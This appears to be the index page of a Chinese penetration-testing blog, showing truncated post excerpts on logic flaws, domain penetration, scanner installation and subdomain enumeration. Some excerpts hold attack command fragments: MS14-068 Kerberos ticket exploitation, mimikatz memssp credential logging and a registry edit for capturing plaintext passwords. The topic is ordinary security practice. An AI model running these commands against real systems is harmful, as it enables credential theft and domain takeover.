近期做的一些业务安全方面的测试,其实毫无技术含量,就是想总结一下经常测试的点以及遇到的奇葩问题。 1.P2P常见逻辑漏洞(加车、下单、结算、支付等) 2.账号体系常见逻辑漏洞(注册、登录、撞...
渗透测试
域渗透那几个技巧
做个备份,最近用的比较多。 ms14068漏洞利用: 生成TGT: whoami /all python ms14068.py -u admin@xxx.com -p password -s sid -d dc.xxx.com ms14068.exe -u admin@xxx....
linux使用polipo实现全局代理
sudo apt-get install python-pip sudo pip install shadowsocks apt-get install polipo sublime软连接: ln -s /opt/sublime_text/sublime_text /usr/bin/sublime sudo sublime /etc/shado...
Web-Security-Learning
学习基础知识。 https://github.com/CHYbeta/Web-Security-Learning
记一次内网渗透
因为一客户的关系,需要搞定几个主站,收集一波信息下来,发现有waf,防火墙。略显棘手,找了一下子域,很偶然的机会挖到了一个任意文件上传,曲线救国路线开始,运气很好,在那几个主站在同一个网段。所以很顺...
kali linux安装nessus/openvas
前几天做渗透测试,需要用到这两个工具。做个备忘。 kali linux安装openvas apt-get update apt-get upgrade apt-get dist-upgrade apt-get install openvas #挂vpn下载,不然要等...
内网渗透的tips
privilege::debug misc::memssp 记录的结果在c:\windows\system32\mimilsa.log windows2012修改注册表抓明文 reg add HKLM\SYSTEM\CurrentControlSet\Co...
子域名收集总结
最近工作比较忙,每天信息爆炸,深刻意识到需要总结很多东西,形成体系。做个关于域名收集的总结 dns域传送漏洞 子域名爆破 搜索引擎查询 SSL证书 网络爬虫采...